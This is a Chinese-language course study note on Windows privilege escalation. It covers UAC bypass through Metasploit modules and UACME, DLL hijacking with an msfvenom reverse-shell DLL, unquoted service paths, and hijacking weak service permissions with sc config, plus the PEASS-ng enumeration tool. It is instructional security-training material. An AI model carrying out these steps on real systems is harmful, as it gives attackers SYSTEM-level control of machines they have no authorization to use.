小迪安全v2023学习笔记(一百三十七讲)—— Win系统权限提升篇UAC绕过DLL劫持未引号路径可控服务全检项目
文章目录
- 前记
- 权限提升——第一百三十七天
- Win系统权限提升篇&UAC绕过&DLL劫持&未引号路径&可控服务&全检项目
- 前置知识
- Win系统提权 - 本地管理用户-UAC绕过
- MSF模块绕过UAC
- UACME项目
- Win系统提权 - 本地普通用户-DLL劫持
- Win系统提权 - 本地普通用户-未引号服务
- Win系统提权 - 本地管理用户-不安全权限
- 综合类检测项目
前记
- **今天是10.24,祝各位程序猿节日快乐!**本节课是Windows权限提升的最后一讲,主要内容是UAC绕过、DLL劫持以及可控服务的提升手段
- 还是以理解为主,然后希望你们自己下去复现一下,加深理解
权限提升——第一百三十七天
Win系统权限提升篇&UAC绕过&DLL劫持&未引号路径&可控服务&全检项目
前置知识
-
本节课所处位置:

-
主要是看他文件的权限配置,可以是从Web权限直接到计算机系统权限,也可以是计算机用户权限到计算机系统权限。
Win系统提权 - 本地管理用户-UAC绕过
-
UAC,即User Account Control(用户账户控制),这是Windows7之后引入的技术,主要是当普通用户在执行某些高权限应用时会弹出提示框进行确认:

-
然后这个东西是默认开启的,可以
Win + R输入msconfig查看:

-
这里用本地的Windows10虚拟机作为演示,看看开启这个和不开启进行提权这个有什么区别
-
这里我们直接使用的命令是
getsystem,他是个自动化命令,可以帮我们进行进程注入、令牌窃取等提权手段 -
当UAC服务是开启的时候,这里用MSF上线然后尝试提权:

-
他会提示提权不成功,但是如果我们关闭这个他就能够成功提权。
-
其实这里我是有点不理解的,因为我试过了用管理员权限的话不管UAC开没开都是可以直接提权的;然后用普通用户的话不管UAC开没开都是提权不了的
-
但是如果遇到了这种
getsystem直接提权不成功的情况,就可以考虑是这个原因导致的,然后我们需要尝试绕过
MSF模块绕过UAC
- MSF自带的绕过UAC常用模块有:
# 通杀,但是需要对方点击,不常用
use exploit/windows/local/ask# 针对Win7、Win8版本
use exploit/windows/local/bypassua# 针对Win8 - Win11版本
use exploit/windows/local/bypassuac_sluihijack# 针对Win8 - Win11版本
use exploit/windows/local/bypassuac_silentcleanup
- 这里直接一个个试即可,设置
sessions,然后设置端口即可:


UACME项目
-
当然,上面这个MSF是免费版的,这些模块可能有时候利用不了,比如这里我就没有利用成功最后两个模块:

-
于是,我们要么用MSF Pro版本,要么就用一些开源好用的免费项目,比如这里介绍的UACME:https://github.com/hfiref0x/UACME
-
用VS打开
uacme.sln这个文件,然后编译成exe程序,放到目标系统上运行即可:


-
想办法放到目标主机上,然后使用如下命令尝试提权:
Akagi64.exe 编号(1-81) 调用执行程序(cmd.exe)
-
这里就一个个试,或者看他的说明文档根据条件选择尝试:

-
这里并没有出现弹窗就打开了管理员cmd窗口,说明我们成功通过它绕过了,或者我们直接通过这个运行msf木马也可以:

-
然后就可以直接使用
getsystem尝试提权了,这里也是不报错了:

Win系统提权 - 本地普通用户-DLL劫持
- 原理:Windows应用程序启动的时候需要加载DLL(动态链接库)。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
-
于是如果某个应用它自带有DLL,并且它在运行时会启动这些DLL,那我们就可以尝试去伪造后门
-
这个过程就是需要先信息收集,流程如下:
- 看有哪些应用自己可以用
- 然后去调试这个应用,看它运行时会加载哪些DLL
- 接着我们尝试对这个DLL文件进行替换
- 最后等待管理员启动这个程序尝试上线
-
比如这里我们先用哥斯拉木马连接虚拟机,然后翻目录看看有没有能用的应用程序:

-
找到一个可能可用的软件,我们将他下载到本地,通过软件去看这个软件运行的时候会加载哪些DLL文件,这里常用的软件有:
-
ChkDllHijack:https://github.com/anhkgg/anhkgg-tools

-
火绒剑:https://github.com/szdyg/HRSword

-
-
那这里我们差不多可以确定了
libeay32.dll和ssleay32.dll文件会被加载,于是就尝试伪造木马dll,用msf运行如下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=<攻击机IP> lport=<监听端口> -f dll -o libeay32.dll
-
将生成的dll文件替换原本的文件,然后先监听,再运行该程序,就能拿到回连了:

-
但是这个可能会导致程序运行不了,容易起疑心
Win系统提权 - 本地普通用户-未引号服务
-
原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行
-
很简单,举个例子,我们刚才运行
Akagi64.exe 41这个命令时,它是将41当作参数传入的Akagi64.exe这个程序中;然后在Windows中,文件的名字是可以带空格的,如果使用不当,它就可能将空格前面的作为程序,将后面的作为参数进行解析 -
这里我们看服务这里,它的路径有两种情况:
- 有空格,但没有引号 => 存在安全问题
- 有空格,但有引号 => 没有安全问题

-
这里我们可以用如下命令进行检测:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

- 它的路径为
C:\program files(x86)\grassoft\macro expert\xxx,如果在C盘下存在program.exe文件的话,他就会先去解析这个文件,将后面的当作参数 - 那如果这个文件是我们的恶意程序的话,再次启动这个服务,我们的程序就会被执行、上线
Win系统提权 - 本地管理用户-不安全权限
- 原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
- 过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
- 检测项目:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
- 检测命令:
accesschk.exe -uwcqv "<用户名>" *

- 检测某个用户所能操作的权限,比如这里
administrotar用户对xiaodi这个服务有完全的控制权限,于是我们可以使用如下命令将这个服务的文件执行路径改为我们的恶意文件路径:
sc config "xiaodi" binpath= "C:\Program.exe"
sc start xiaodi
- 那我们就可以直接上线了,但是这个实战中用得不多,因为实战中拿到的基本是Web权限,可能没有这种服务权限、执行权限等,可能连软件都执行不了:

综合类检测项目
-
讲完了手工的方式,我们直接上工具:https://github.com/carlospolop/PEASS-ng
-
这个工具适用于Windows、Linux/Unix和MacOS提权,并且更新还比较频繁

-
然后放到目标主机上,运行如下命令即可:
winPEAD.bat > result.txt
winPEASany.exe log=result.txt

- 实战中,直接丢给AI分析,然后选择最合适的方式即可,当然,Windows提权更多的还是使用土豆家族,今天讲的就当是一个小小的补充
